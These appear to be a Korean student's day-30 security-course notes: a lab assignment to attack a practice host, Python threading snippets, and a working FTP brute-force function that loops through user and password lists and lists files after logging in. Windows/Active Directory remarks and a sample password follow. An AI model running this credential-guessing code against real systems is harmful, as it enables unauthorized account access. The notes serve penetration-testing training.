30일차
http://virtual.izerone.co.kr 1.스캔 2. Attack.py로 공격 코드 작성후 공격 성공 여부 확인 ftp,ssh,http,3306 또는 히드라 사용 3. virtual.izerone.co.kr의 보안조치는 적절한가? > 적절하지 않다면 어떠한 조치가 필요한가 쓰레드 활용 python Attack.py [][][][][] 파이썬에서 쓰레드는 프로그램내에서 병렬로 실행되는 쓰레드에서 실행할 함수 정의 쓰레드 생성 thread1 = threading.Thread(target=print_numbers) thread2 = threading.Thread(target=print_numbers) thread3 = threading.Thread(target=print_numbers) thread4 = threading.Thread(target=print_numbers) thread5 = threading.Thread(target=print_numbers) thread6 = threading.Thread(target=print_numbers) thread7 = threading.Thread(target=print_numbers) thread8 = threading.Thread(target=print_numbers) 쓰레드 시작 thread1.start() thread2.start() thread3.start() thread4.start() thread5.start() thread6.start() thread7.start() thread8.start() 포트 스캔 코드 def ftp(self): print("attack ftp") try: # 파일 열기 with open("account.txt", 'r') as fid, open("passwd1.txt", 'r') as fpw: user_list = fid.readlines() pass_list = fpw.readlines() print("Start brute-force FTP attack") # FTP 연결 시도 for user in user_list: for pw in pass_list: user = user.strip() # 줄 끝의 공백 제거 pw = pw.strip() # 줄 끝의 공백 제거 try: ftp = FTP() ftp.connect(self.target, 21, timeout=5) # 21번 포트에 연결 print(f"연결 시도: {user}/{pw}") ftp.login(user, pw) # 로그인 시도 print(f"[성공] FTP 계정은 {user}/{pw}") # 로그인 성공 후 작업 수행 print(ftp.retrlines('LIST')) # 현재 디렉토리의 파일 목록 가져오기 ftp.quit() # 연결 종료 return # 성공하면 함수 종료 except Exception as e: #print(f"[FAIL] Login failed for {user}/{pw}: {e}") continue # 실패하면 다음 조합으로 이동 except Exception as e: print(f"An error occurred: {e}") 윈도우 2025설치 인증시스템 구축 도메인과 AD의 관계 도메인 설치시 AD는 설치 되지 않음 AD설치시 반드시 도메인 설치됨 윈도우 사용자는 Active Directory 에게 물어봐라 p@ssw0rd!123 p@ssw0rd!123